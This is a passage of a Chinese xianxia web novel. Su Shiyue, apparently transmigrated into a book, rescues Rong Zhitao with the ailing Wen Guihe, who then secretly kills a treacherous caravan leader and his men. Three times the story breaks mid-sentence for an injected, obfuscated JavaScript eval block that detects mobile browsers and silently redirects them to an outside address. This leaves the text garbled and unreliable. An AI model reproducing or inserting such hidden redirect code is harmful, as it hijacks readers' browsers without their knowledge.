要是那丫头不是真正的容大小姐,有她受的。至于那个小郎,模样生的俊俏无比,卖作小倌,应该能得个好价钱。 灵驹、灵犬等兽吃过饲料,启程。 华美车厢中,断断续续响起夸赞与安抚:“多谢公子配合我,如今我们也算共过一次患难。好巧,您在外人面前露了脸,是不是打算暂时留下,接受我的建议?” 苏时悦噙着笑,眸光忽闪,颇有几分劫后余生的兴高采烈。 多一个人帮扶,就多一分活下去的机会。 黄梨桌上,竹纸原封不动地摆放整齐。那些计划书,还有专程准备好、正待润色的信函,也不知道他看到没有。 苏时悦两只眼睛眨巴眨巴,期待起凝视他,等候闻归鹤回应。 在紧张地等待中,闻归鹤久久没有说话。他以唇掩住面容,心中泛起丝薄怒,好险没一眼瞪过去。 好半晌,轻咳几声,唇边浮起一抹温和笑意。 “姑娘言重了,能与姑娘共此一遭,实乃幸事。” “留下与否,本在一念之间,无需惊讶。只是,往后若再有类似状况,还望莫要像先前那般…… 让我措手不及。” 最后几个字,闻归鹤落了重音。 他的态度发生翻天覆地的变化,苏时悦差点没反应过来。她屏息凝神许久,才大声喘了口气。 “不会了。”她诚恳道歉,“当初事态紧急,强留公子亦非我意。那种不尊重人的事,我也做得极为别扭。既然公子有心,我会自会端正姿态。” 闻归鹤对她包容周到,苏时悦开始不自在起来。 她望着前一刻还当作纸片人的少年,颇有几分如芒在背的煎熬。 不仅是因为她在利用他,更因为她明知他的结局,却无法宣之于口。 原作中,闻归鹤的一生如同流星,璀璨而短暂。 长达数十万字的铺垫后,他在《虞昭令》后期正式出场,拖着一天天衰弱的身体,为主角出谋划策,捣毁天都灵脉,却连寿终正寝都做不到。 他作为书中的大反派出场的背景板,烘托其威力的工具人,被万鬼吞噬,死无葬生之地。 故事的最后,主人公登玉座、临帝阙,而他杳无声息。 苏时悦从最开始就知道,她在利用这名寿数无几的良善郎君,相处不过一日,他在她眼中便脱离美强惨纸片人的范畴,令她心生同情。 可她能说什么?自称未卜先知,还是直接公布死劫? 老人们常说,那些本能改动的命数,一旦被说出口,便是板上钉钉。 苏时悦不想害人,又杀不了大反派。她别无他法,只能强迫自己降低道德感。她对付完早饭,拎起箩筐,走入通往墨池的小道。 墨池是黑崖林尽头的水潭,深千尺有余,阴气森森,虫蛇缠绕,法力低微者入内,无人敢跟随胆大包天的容大小姐,只得目送她远去。 望天树高耸入云,通直树干上,细长尖头小蛇感知到活人的气息,于树缝间穿梭。 迎着起伏浪潮,苏时悦面不改色,她抓起一把药粉,扬手撒了出去。 群蛇似被浓焰燎烫,惊恐地往后撤。 “白芷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353038|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、雄黄、苍术……还有,蛇退去?”闻归鹤跟在她身后,捻起搓药粉,眸中兴致盎然,“不想姑娘还有这等技艺。” “我不是说过吗?”苏时悦一手挎包,一手叉腰,骄傲地昂头,“一切有我。” “公子若是感兴趣,此行之后,假如还有剩余药粉,我都送予公子研究。” 她的计划书可不是白做的。 墨池群蛇可怖,但经年之后,黑崖林附近城镇皆会张贴告示,颁布驱蛇秘法。 常见药物,加之林中蛇蜕,便可全身而退。 根据设定集,这个药方,还是闻归鹤发现的。苏时悦不过投机取巧,蹭了他的气运。 闻归鹤垂眸,长睫抖动,在眼睑处嵌上圈小月牙。 视线中的少女径直往前,来到黑水池上的山石边,趴在石块上往下望。驱蛇粉防得住蛇,却防不住虫,不少蚊虫嗡嗡而至,萦绕在她身畔,而她全神贯注,连眉头都未皱一下。 闻归鹤勾了勾手指,一簇火焰蹿出,将蚊虫烧尽。 苏时悦的声音同时响起。 “找到容枝桃了。”她的兴奋之情溢于言表,“像是陷入昏迷……看起来,伤得很重。” 语气逐渐低落。 容枝桃挂在西南方树干上,离地三尺有余。苏时悦看不清细节,只看见她身下滴滴答答,鲜血流成一片。 苏时悦迅速起身,依照早就在脑海中进行过无数遍的排演,丈量一下位置,从包裹中取出备好的绳索,在尖石上打了个结,蹭上泥土的五指紧扣,准备蹬着石壁挪下去。 她小时候常生病,家人经高人指点,说是为锻炼她的体魄,压着她去少年宫上武术班。苏时悦原以为,这段过往只会成为她爬上走野陆的底气,没想到一朝穿越,竟意外地派上用场。 拉紧绳结时,被拦下。 “贸然下落,容易受伤。”闻归鹤探手,虚按住她,语气温吞。 “莫要使自己置身险境,有人会担心的。” “可我要是不下去,谁把容姑娘带上?没有真正的容大小姐,难不成我们就这么跑了,丢商队全员在那儿苦等。”自穿越以来,还是第一次有人关心她。苏时悦心头一热,仍然神情郑重摇头。 “有我。”闻归鹤道。 苏时悦一愣,念诀声响起。 少年指尖符纸泛光,低声念一句,抛出金纸。长方纸面立时变宽、变长,临时充作舟楫,飞落去树梢接人。 苏时悦目不转睛地看着他。 他的手指修长纤细,好像轻轻一折就会断裂。明明身子骨不好,明明连唯一的要求都会被拒绝,依然心甘情愿损耗灵力,替她摆平困难。 他对她如此上心,她不能拖后腿。 苏时悦双拳藏于身后,无声捏紧。 须臾间,浑身是血、昏迷不醒的容枝桃被符纸卷至上空。闻归鹤轻咳几声,操纵灵符落地。 感知到身后人情绪变化,忍不住弯起嘴角。 “好了,苏姑娘……”地面人影交叠,闻归鹤扬眉浅笑,气定神闲地回头,眸中刻意含了几分邀宠与取悦。 倩影一晃,苏时悦冲了出去,三步并作两步,来到符纸托上来的人身前。 “容大小姐,醒一醒。” 她搂着对方,声声呼唤。神色焦急,声音急切,又开始翻包裹。 把他抛到脑后。 闻归鹤冷着脸,眉眼抽了抽。指腹不自觉摩挲符纸边缘,压出数道褶皱。 5. 第 5 章 黑水潺潺,阴风怒号,吹得黑崖林青枫沙沙作响。 苏时悦紧张地注视昏迷不醒的容枝桃。 少女面色苍白,法衣被血浸得僵硬。苏时悦紧搂着她,刺鼻血腥味冲击鼻膜,提醒她,怀中是个重伤之人。 幸好,她先前为闻归鹤包扎伤口,有过经验,不至于惊慌失措。她扶住浑身鲜血的少女,确认她还有呼吸,寻找容枝桃身上的伤口。 容枝桃胸口有一段一寸来长的剑伤,伤势还在淌血,亏得她是修士,才没有衰竭而死。 苏时悦深吸一口气,含了满口血腥,稳住心神。 她按住创口,在箩筐里翻出药品,正准备脱下衣服施救,后知后觉地想起身后还站着名外男。 “公子……”苏时悦回身,看向闻归鹤,想请他回避。却见他静立在她身后,手中把玩张符纸,脸上神色莫测。 听到她说话,闻归鹤垂眸看着她。 肃杀秋日又寒凉几分。 穹顶之下,少年粉面清雅如霜,红唇鲜艳似血,救世观音般低着眉眼,眼下月牙阴影随呼吸微微颤动。 “她的伤势太重,普通的伤药,无用。” “况且,姑娘有没有想过,万一容姑娘认定姑娘擅自借用她的身份,恩将仇报,姑娘该如何应对?”他话锋一转,俯视一望无尽的深潭,面带忧色。 疾风停住,枫树的舞动骤然停滞,唯有闻归鹤的声音继续。 “姑娘与她年岁相仿,身型相似,又在车队待了数日,未来会做什么,谁能知晓?” “纵使容貌不同,一张人皮面具,足够以假乱真。”她只需要开口,就会永远受制于他。 “我知姑娘心善,并无腌臜心思,可旁人不这么认为。或许,容姑娘会担心你故技重施,欲除之而后快。” 苏时悦的后脑像被铁锤用力一撞,耳畔嗡嗡作响。她绷紧脸,瞳孔不自觉侧移。半晌回眸,看他,眼中尽是陌生与愕然。 “公子的意思是,让我杀了她,坐实自己的假身份?” 闻归鹤但笑不语。 “我不要。”苏时悦搂住容枝桃。 “多谢公子提点,但容姑娘是个好人,再者,我与她无冤无仇,占她身份,谋求便利,如何能杀人灭口?” 闻归鹤笑容像面具般焊在脸上,嘴角往上提片刻,缓缓落下。 苏时悦瞪直眼睛,呼吸急促。 半晌,头顶有细风吹过,少年轻声舒了口气。 “太好了。”他笑道,“姑娘是心善之人。” “我原本还在想,万一姑娘真的答应杀死容姑娘,该如何阻止你。” “哎?”话题转变太快,苏时悦愣是没跟上。 “姑娘既已下定决心,还请放下她,离开些,别扰动疗伤术法。” 睁眼,少年掩唇,笑如春风,于地面铺开符阵。 “在下姓闻,起名归鹤,有意与姑娘结识,不知姑娘如何称呼。” “公子刚刚,是在试探我?”苏时悦怔怔半晌,猛地反应过来。 闻归鹤的笑容真诚而舒朗:“让姑娘担惊受怕,实在抱歉。” “怎,怎么会呢!”苏时悦面颊猛地一烫,慌慌张张地捂脸,掩盖神色,“是我大惊小怪,误会公子,闹了个大笑话。为了确保救下的不是奸佞小人,特意唱白脸检验我的品性,实在是难为公子了。” “对了,我姓苏,叫苏时悦。”她错身让到一旁,见闻归鹤单手掐诀,神色轻松,又忍不住道,“公子既然能治愈我的划伤,自己手上的伤势,没有顺道医治吗?” 闻归鹤的左手仍裹着绷带,一系列动作后,他的伤口似是裂开,又开始渗血,红白相间,仿佛雪地中开出朵朵红梅。 他若无其事摇摇头。 “要不,我再帮您换个药?就用你昨晚为我敷的……”苏时悦壮起胆子,唯唯诺诺想弥补,“那个效果好些。” 阳光透过金云洒落,勾勒出少年清隽侧颜,闻归鹤从善如流地伸手,递上瓶拆封伤药:“有劳。” 少女一把接过,殷勤地凑上毛绒绒的脑袋。在闻归鹤施法时,小心翼翼为他包扎。 她解下绷布,清洗、上药,动作轻柔,神情专注,连风吹乱鬓角都不知道。 五指灵巧游走,上完药,看着伤口肉眼可见地愈合,松了口气。 见他正垂眸望着手心,苏时悦还当闻归鹤没反应过来,在他的掌侧轻轻捏了捏。 她笑道:“果然是灵丹妙药,伤口一下子就愈合了。公子,已经用不上绷布啦。” “多谢姑娘帮忙。”闻归鹤似是才回过神来,轻柔抽手。 “姑娘可还有其他想做的?闻某不才,愿意帮忙。” 苏时悦害羞地挠挠头:“不用啦,让公子帮忙救人,已经为你添了麻烦,其余的事我一个人就能完成。” 闻归鹤:“……” 他叹了口气,不再和自己较劲,转而专心完成治愈符阵。 一道柔软绿光闪过,天地幻象映照墨池,似有纤细蒲柳滴露,清灵落入阵心。 满地鲜血如鱼入大海,回流至主人体内。苏时悦睁大了眼,不争气地又一次眼神发直。 “好厉害,不愧是鹤公子!” 说完,瞅了眼闻归鹤。 原著中,闻归鹤不喜欢被称呼姓氏,喜欢别人喊他鹤公子。可惜现在似乎没到他偏心这个称呼的时间点,苏时悦喊得情真意切,他却云淡风轻,只道了句: “称呼倒是别致。” “容枝桃已恢复意识,法阵已消,苏姑娘只管去看她。” 苏时悦闻言,喜形于色。她望向眼前撑起身子的女修,快步向前,踏出两步,回身。 淡粉天空下,少女郑重行礼。 “万分感谢!” “虽然说大话很丢人,但鹤公子对我的好,我都会记下。” 苏时悦再度转身,直奔容枝桃。 容枝桃是个面容清秀的姑娘,年方二九,合衣躺在堆叠的青石上。她身上的伤势已然痊愈,苏时悦靠近时,缓缓睁眼,虚弱地从法阵中坐起。 “我姓苏,叫苏时悦,那位是闻公子。” 苏时悦乐乐呵呵地介绍, “是他救了你,我只是个打下手的。” 容枝桃冲苏时悦感激点头,看向闻归鹤时,神色微沉。 她在昏迷期间,虽意识模糊,却也听得几句二人对话,一一分辨。 容枝桃久居世家,练成敏锐探查的本事。她听得出,那名少年的语气,绝对不是试探,而是真心想杀她。 她与他无冤无仇,他却痛下杀手。那副清煦皮囊下,分明是个十足的疯子。 但他似乎很关照苏姑娘,苏姑娘坚定拒绝他的建议后,他便果断藏起真面目,改行善事。 苏姑娘看起来被他蒙骗,不知真相,暂时安全。她可以先依附她,保全性命,待入城后,再从疯子手中救人。 容枝桃眼珠一转,打定主意,身子一歪,陷进苏时悦怀里。以退为进,模样又怯懦几分。 “小女子容枝桃,多谢苏姑娘、闻公子救命之恩。我身受重伤,无力行走,二位丢下我离开吧。”她眸光水灵,肆意示弱。 “不可能。”苏时悦义正辞严,“既然决定相救,哪有半途而废的道理,是吧,闻公子?” 闻归鹤微微颔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353039|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首,指尖金光一现,符纸翻飞,于空中聚成一叶莲舟。 “既然行路困难,姑娘不妨上船,我送二位回商队。”少年轻咳几声,黑衣飘然,目若星河。 容枝桃“嗖”一下,从地面站起:“我能走。” 她瑟瑟发抖,望着闻归鹤,面容惶急,一派我见犹怜之相。定了几息,倚进苏时悦怀里:“啊,好晕。” 苏时悦满脸莫名其妙,看看容枝桃,又看看闻归鹤。 容姑娘,似乎很怕他? 是因为听到闻归鹤的试探,误会了吗? “容姑娘,闻公子是好人,只是言辞苛刻些,不必躲着他。”苏时悦试图解释。 容枝桃不语,只是一昧地往她身后躲。 这究竟是个什么事? 苏时悦有事要与容枝桃商议,不得不暂时搁下缓解二人关系的念头,替容枝桃拦在闻归鹤身前,朝他歉意一笑。 “既然容姑娘能自己走,我正好有些事拜托容姑娘,步行回去即可。公子若是等得急,先回去吧。”她扶住容枝桃,朝闻归鹤道。 少年眸光淡淡扫来:“无妨,我跟着你们便是。” 苏时悦感激点点头,扶着容枝桃慢慢走。 她知道容枝桃也是正派角色,没有坏心,聊天时自然而然放得开。容枝桃与她都是女孩子,又感激苏时悦,二人很快拉近距离。 两名少女头碰头,窃窃私语,不知不觉聊了一路。 墨池外的车队处,胖修士正等着他们,见又来一女子,震惊无比,嘴巴张得跟鸡蛋似的。 李硕:“容大小姐,这位又是……” “路边捡的。”苏时悦早与容枝桃彼此通气,商量妥当,“白白嫩嫩的,我很喜欢,打算一并带去越州城,不行吗?” 容枝桃弱柳扶风,小鸟依人,缩在她怀里,连连点头。 李硕笑容满面,连连作揖:“当然可以,当然可以。” “只不过,眼看再过六七日,商队就会到达越州城。我等护送大小姐回城,自然要拜会容家。”他豆大眼睛眯起,眼中闪过寒芒,“为避免我等见识短浅,闹出笑话,有些家族之事,需得询问大小姐。” 这是疑心大起,想确认她是真是假。可惜,她早已未雨绸缪。苏时悦握住正牌大小姐的手。 点头:“你问吧。” “此前,容家曾与另一家族共同建立宗派……” “澄潭闻氏。” “容氏家徽?” “圣君神格第八相之莲花。” “……” 一阵快问快答。 有容枝桃助阵,苏时悦底气十足,眼皮子不眨往外报答案,呛得李硕说不出话,彻底坐实大小姐身份。 苏时悦:“如何,还有什么想问的?” 李硕伏低身子:“多谢大小姐赐教,请大小姐入车厢,我等必会日夜兼程,将大小姐送回越州城。” “你知道就好。”苏时悦“哼”一声,扬起下巴,傲然与商队众人擦身而过。 她搀扶容枝桃,往车厢内走,满心希望与她商议入越州城后的事宜,一时间,来不及顾及身后众生相。 苏时悦离开后,李硕直起低伏的身子,脸上笑容愈发深重而阴狠。他的手伸进袖口,摩挲玉简:“贵女鉴定为真,不知仙长,下一步有何吩咐。” 不远处,少年步履缓慢,眸色阴郁,将李硕一言一行收入眼底。 他不在意地移开目光,目送两名少女携手同行,亲密无间。 苏时悦笑颜如花,甜意撩人,与初见她时摆出的模样如出一辙。 华丽厢门一开一合,新人取代旧人白日的位置。 6. 第 6 章 一晃数日,商队离开黑崖林,前往越州主城。 骨碌碌车轮滚动,深紫天幕下,车队停下进程。 “各位,一路辛苦。”眼看城门近在咫尺,李硕满脸笑容,仰头长舒一口气,“且在此地休整一夜,明日进城做生意。自然,越州城诸事,还请容大小姐多多提携。” 苏时悦顶着容枝桃的名号,微笑点头:“自然,诸位对我的善举,我会铭记在心。” “这些是今日脚程费,待送我至容府,另有重赏。”她大手一挥,在托盘中置下一笔碎银。 ——容枝桃给的补贴。 容大小姐温柔恬静,对遇刺与容家之事三缄其口,却是个慷慨解囊的善财童子。 她见苏时悦因钱袋子告急,当场把自己的乾坤囊取出,填补苏时悦亏空的银两。 正式入道的修士与普通百姓有天差地别,光脱凡境修士画出的灵符便价值千金,更遑论容家这般修仙世家。苏时悦看她往外撒钱,那叫一个羡慕嫉妒恨。 银钱到位,商队对她们热情友善,李硕态度也愈发和蔼,叫人身心舒畅。 只有一件事…… “那位公子呢?”苏时悦左右四顾。 “他一早出去,至今未归,我等不曾见过。”李硕回答。 苏时悦叹了口气。 闻归鹤这不求回报的行为,着实令人捉摸不透。 这几日,她特地在车厢内用屏风分出两块区域,一侧是她与容枝桃同住,另一侧供闻归鹤休息。可一连几日,她都未见着他的人影,连入内小憩都没有。 他不需要她的帮助吗? 他身体不好,近几日,脸色又那么差,会不会出事…… 苏时悦心事重重地缩回厢内。 李硕望着她的背影勾起嘴角,确认苏时悦离开,立刻回身吩咐下属。 “仙长有令,今夜会赐下捆仙索,让我们除去他的心腹大患。带上先前入伙的兄弟们,晚上绑了那两丫头领赏。” 他有条不紊地安排不知情的手下歇息,内心已开始规划动手的具体步骤。 明月初上时,李硕率领一行人,来到与越州容氏约定的树林间。 他们等了很久,不见任何法器飞来的迹象,不免心焦。 “怎么回事,早些时候,说好的不就是这个时间么。”李硕等了好久,不耐烦地踱步,“怎么还没影。” 其中一名手下也有些急:“不是有事耽搁,就是被人打断。我看那大小姐也不是省油的灯。要不先回去,免得打草惊——” 声音戛然而止。 寂寥的树林中,一道光华掠过,炸开明色。鲜血飞溅,飙射而出,迅速在土壤中洇开。 男人的最后一个字,卡在咽喉里,怎么也吐不出来。他捂住脖颈,抽搐两下,破败棉絮娃娃般栽倒在地,再无声息。 “怎么回事,那是什么东西!”李硕转头,周围的惊叫声叠浪般铺开。 “是偷袭,全员戒备!” 人群中的修士慌忙各显神通,祭出灵力抵挡。可来者境界深不可测,他们甚至感知不到气息,便纷纷倒下。 泛金的黄符当空招摇,似在跳一段优美的旋律,对准每一人。须臾,破除防御,杀人于无形。 明光结界升起,连求救声也吸收得一干二净。 巨树参天,参差起伏,奔逃众人渺小得宛如蝼蚁。一声声闷响中,清瘦的身影离开与之融为一体的夜色,缓步走出。 黑衣少年孤身一人,手中捏着条似绳非绳,似锁非锁之物,五指一松。 “捆仙绳是容家的法器,家主都死了,它还有何苟活颜面?” 哗啦啦的响动中,重物坠地,掷地有声。 “诸位若是拿不走,下去陪它如何?” 惨白清辉下,映照出一张张惊恐万分的脸。 “你、你是那个……”李硕结结巴巴。 容大小姐新收的,一看便知是病弱无力的男宠。 闻归鹤按住心口,轻咳两声,荡出一个笑。而后眸光一束,转瞬间,符纸来到李硕面前。 纸侧锋利如刀,寒芒闪闪,朝他的咽喉割去。 李硕意图施展术法抵挡,哪里是对手。他逃无可逃,爆发出垂死挣扎: “你不能杀我,杀了我,你会后悔的!” 金符顿了一下。 割伤李硕的手臂。 少年见血,眉心舒展,笑容依旧:“哦?” “说来听听,我为何会后悔?” 李硕捂住受伤的胳膊,摔坐在地,满头大汗,嘴唇颤抖:“我,你…你心悦容大小姐吧?” 少年云淡风轻的神情骤然凝固,惨白的脸上,浮出一种森然的恐怖。 “什么?” “你在意她,不是吗?”李硕仿佛找到救命稻草,对着缺口突破,“遮掩实力,跟在她身边那么久,肯定是为了接近她,追求她。” “我近几日对她毕恭毕敬,多有照拂,她对我印象极好,多有信任。你若杀我,她定会厌恶你!”他重重喘着粗气。 “杀了我,她回越州城,也是死路一条。你不如放了我,我对今晚发生的事绝口不提。”他攥紧最后的生机, “可笑。”清煦的声音。 少年仿佛从地狱爬出,蛊惑佛陀的魔物,嘴角上扬,笑意却不答眼底。 “我为何要在意她?” 他居高临下,俯视倒地之人。 双指并起,如剑竖立。 “不过的确,近几日,她与那个人,走得太近了,让我很不方便下手。” “正巧,你们送上门来。”他变动指法,温温柔柔道。 “她,当从未见过死人,我要把你、你们,全部送过去。” 清辉静静洒落,片刻,一声倒地闷响,叙述仍在继续。 “待她以为自己看错了人,赶走我,再遇到容氏袭击,翻然悔悟。与同伴势单力薄,只能重新来求我,依附我。” “甚妙。”漂亮的少年抬眸,笑盈盈看向最后一人。 没死的脚夫不住磕头,试图阻止愈来愈近的振纸嗡鸣。 “饶、饶命,饶命啊,饶……” 一息。 重归寂静。 只余乌云遮月,星河漫天。 车队离西南树林数十步远,同伴尚不知林中惨案。秋风瑟瑟,吹过树林,发出沙沙的声响,与帐篷内传来的谈笑声交织在一起,形成一种别样的宁静。 世家大小姐的华车被簇拥在正中,散发淡淡的桂花香,仔细闻,窗边有股淡淡的腥。 车厢内。 有八条鱼。 砍了脑袋,整整齐齐,冰冰凉凉摆在案板上。 一只鸡。 脖颈飙血,垂死挣扎地扑腾。 “阿弥陀佛,南无观世音菩萨,通天教主,元始天尊,没人告诉我鸡砍了脑袋还会动啊。” 苏时悦惊恐地窝进容枝桃怀里,双目紧闭,合掌,不停叨念。 “这都什么奇奇怪怪的祷告。”容枝桃笑着捂住少女眼睛,拦下肉鸡,用灵力裹住,送回桌案,“早同你讲,若觉不忍,便别瞧,让商队的厨子、屠户做就好。” 苏时悦摇摇头,深吸一口气。 “我也想快些适应……” 这个世界刀光剑影,未来的越州城更是危机四伏,苏时悦无可避免会面对死亡。就算做不到上阵杀敌,总不能托别人后腿。 容枝桃咯咯直笑,长吁短叹一番:“这可真是笨办法。” “算了,我把剩下多余的食材给厨子送去,免得浪费。”她笑盈盈道,祭出灵力,托起案板,卷着数条鱼往外走。 打开门,整个人猛地僵住。 “出了什么事?”苏时悦起身,往门边赶。 一股子奇怪的味道从门缝中飘来,熏得苏时悦直皱眉。 血腥味,比车厢中的的鸡血鱼血浓郁数倍。 容枝桃转头,面色煞白。 “快,快跑……”她声音抖得厉害,一步步后退,不期漏出外面的景象。 赤红与墨黑交织。 少年站在一片尸山血海中,指尖还在往下滴血。血雾弥漫中,人影绰绰,苏时悦一眼认出李硕,还有向导、马夫,等等…… 尸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353040|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体旁,乌鸦盘旋,声声入耳。鲜血淌过少年的皂靴,发出轻微“滋滋”声。 苏时悦呼吸骤然顿住。 紧跟着,胃部一阵翻涌。 “唔……”她猛弯下腰,手捂嘴唇,脸上血色褪尽,手扶门框不停干呕。 果然。 死鸡。 没有。 用。 呕!! “逃!”容枝桃终于反应过来,“苏姑娘,那家伙是个疯子,别靠近他,从、从窗户离开,我来殿后。” 苏时悦声音虚弱:“为什么要逃?” 她吐得眼前发黑,好半天才找回身体的控制权,撑着身子站起:“李硕本就包藏祸心,他不动手,我们也会正当防卫。” 容枝桃顾不得许多,“砰”地合上门,轻柔握住她的手:“悦悦,你听我说,那个人不对劲。” “他和你想象的不是一个人,我不敢确定,但他给我的感觉,像极家族中道貌岸然的长辈。” 容枝桃祭出乾坤囊:“我的手下及时送来法器,我能撑一段时间,你快跑吧。” 她盘算着发送信号后,多久能够撑到容氏赶来。怎么想时间都不够用,仍强撑着笑脸,想赶苏时悦走。 回头一看,苏时悦站起身,走到她身边:“若他真是枭心鹤貌之流,也是我引来的。” “容姑娘也是因我才到商队中,这儿还有许多一无所知的普通人,要是他真的动手,那些人定会首当其冲,惨遭毒手。” 如果闻归鹤真是小说中表面风光霁月,实则阴暗残忍的白切黑的人设,那她因为对他的初印象便邀请他同行,就是天大的罪过。 苏时悦:“我得为你们负责。” 她挣开容枝桃的手,一鼓作气推门。 在容枝桃焦急的催促声中,深吸一口气,拎起裙摆,踩上脚踏。 走下。 “一、二、三……十四、十五、十六。十六人,鹤公子辛苦了。”苏时悦低着头,不敢看眼前惨绝人寰的景象。 “我知道鹤公子做事,一定有您的深意,可是,太突然了,我们毫无心理准备。” “下次,就算不说明原因,也该提前通知一声。”她小声道。 苏时悦的脑子有些乱,说不清现在是何心情。 害怕,惊慌,皆有。可冥冥之中有个声音告诉她,她不能逃。 她要为自己的所作所为负责。 而且,她还记得最初相遇时的场景。她记得闻归鹤救过自己,潜意识仍在信任她。 她在黏稠的血泊中站定,来到闻归鹤面前,别过碎发,慢腾腾把视线往上挪。 对上少年那双黯淡无光的眸子。 “苏姑娘?”他的声音带有疑惑。 耳畔还回荡着容枝桃的惊叫,于闻归鹤而言,那才是意料之中的,想要的反应。 不过,他也已习惯这类苛责。倘若容枝桃看到他的另一面,骂出口的话会更加丰富。 可她又是怎么回事? 应该夺路而逃的女孩,此刻像是从无措中回神,虽仍在磕磕巴巴地说话,但动作已恢复流畅。 “当务之急,是,收拾现场,避免商队因首领死亡引发骚乱。收敛尸骨,安抚人心。” 她把手深入袖中。 “还有……” 闻归鹤冷眼看着她的动作,见到她手中之物,微微发怔。 “手上的血,擦擦吧。”苏时悦俏脸恢复血色,仰头,递上手帕。 少年的双手僵在半空,苍白如纸的脸上神情龟裂。他好像变成一樽墨玉像,只剩指尖吓唬人的血水滴滴答答。 “为什么不跑?”他的声音太轻,苏时悦根本听不见。 她只是觉得,闻归鹤于容枝桃描述的类型截然相反,很开心自己选择留下来。 他像个孩子似的,以为自己被误会,情绪就低落。发现有人示好,又开始不知所措。 “对了对了。”她趁热打铁凑上前,笑眯眯的。 “我想煮个火锅,一起聚餐,但食材还没有准备完毕。”她噙着笑。 “鹤公子……能来帮忙吗?” 7. 第 7 章 话音落下,四下陷入寂静。 林中窜出一片飞鸟,拍打翅膀的声音清晰可闻。 苏时悦手捧白色帕巾,脑袋半仰,期待地看着闻归鹤。 少年一反常态,缄默不言。月光描摹他优越的眉骨,绘出几笔压抑的迷茫。 他抬起那双殷红未祛的手,声音低沉喑哑: “苏姑娘,您邀请的这双手,刚杀过人。” “那又如何?”苏时悦反驳。 “我知道公子双手染血,但因何染血,染的是何人之血,因果相循,亦有黑白正反两面之说。” 他愣在原地,竟一时回不过神。好半天,才淡淡道了声:“苏姑娘想多了。” “因果?善恶?哪有那么多理由。”闻归鹤轻笑。 他险些忘记,在他算计苏时悦的同时,苏时悦也在关注他。 为了讨好他,竟不惜做到这份上。扯出那么一连串的违心之言,值得敬佩。 闻归鹤忽然没了伪装的兴致,扯起嘴角,生硬抿出一个笑。 “心情不好,想杀就杀了,仅此而已。” “是这样吗?” 苏时悦像是预料到他会辩驳,朗声道:“我倒是觉得,说不定是李硕收人贿赂,决定杀死我与容大小姐。公子知晓他的计划,选择先下手为强。” 闻归鹤还未来得及摇头,苏时悦已看向另一侧虚掩的厢门。容枝桃不知何时不见踪影,只余侧门随风开合。 “容姑娘,别躲了。”苏时悦憋笑,“鹤公子要是坏人,早把我杀了。” 寂静无声的车厢,终于发出声音。 铛。 清脆弦动。 凉风鼓起,吹得车厢门“砰”一声,大开,飞出一面格挡用的屏风,内部场景一览无余。 翠羽流光,七弦灵动。 容枝桃纤纤十指搭在一架凤首箜篌上,像只炸毛的花猫,牙槽鼓起,满脸警惕。她的心脏几乎要跳出咽喉,灵力凝于眸中,双目一错不错,死死盯着闻归鹤。 她的法器笨重,必须率先固定才能运行灵力。本是打算对抗容家另一股势力的突袭,此时此刻,却把所有的注意力都集中到闻归鹤身上。 面上表情慢慢变化,从蓄势待发逐渐缓和,蹙紧的眉头慢慢松懈,最终化作茫然:“是……吗?原来闻公子心地善良,秀外慧中啊。” 她词都快说不准了。 这个人,先前明明杀得痛快,甚至不再掩饰本性,也只有苏时悦会傻乎乎地觉得他纯良无害。容枝桃已经做好带伤厮杀的准备,可他竟真的没做任何伤害她们的事。 容枝桃略感羞愧,收起法器,低着头不吱声。 徒留苏时悦张开双臂,邀功般侃侃而谈:“容姑娘是音修,此次出行未带法器,才会在刺杀中沦入下风。我们没有公子想得那般无用,早就联系上容氏内部势力,只待李硕动手,就能将之制服,还能细问越州城情况。” “二位早就偷听到了他们的谈话?”闻归鹤长睫忽闪。 血腥味依旧浓郁,苏时悦却已不再害怕:“是啊。” 反胃感褪去,她双手抱肩,气呼呼地转脸向他,“要不是容姑娘修为高深,耳力绝佳,鹤公子三缄其口,我真的会因为这幅场景,误以为你是个滥杀无辜的大魔头。” 气着气着,她忍不住笑起来。笑声银铃般清脆悦耳,在空中回荡: “鹤公子,你不张嘴,谁能知道你的好?” 她强硬地将手帕塞进他手中:“快擦干净吧,我们帮忙收拾现场。弃尸荒野不太好,还是用东西裹住,让商队自行处置。” 闻归鹤默了默,没有甩开手。 他像一具在舞台上人偶,正按部就班地进行表演,忽然被剪断牵引线。呆呆站在席前,僵硬地维持前一刻动作。不知多久后,才意识到自己也是个人,说了一句话。 “不必帮忙。” 语速很快,仿佛多说一句,就等于承认李硕死前的那句“你在意她”。 即使是在意,也该在意她手上的珠串,与她本人何干? 少年平持一张符纸,迎风一抖,两团金色光芒从中窜出,化作力士的模样,开始遍地铺设布料。 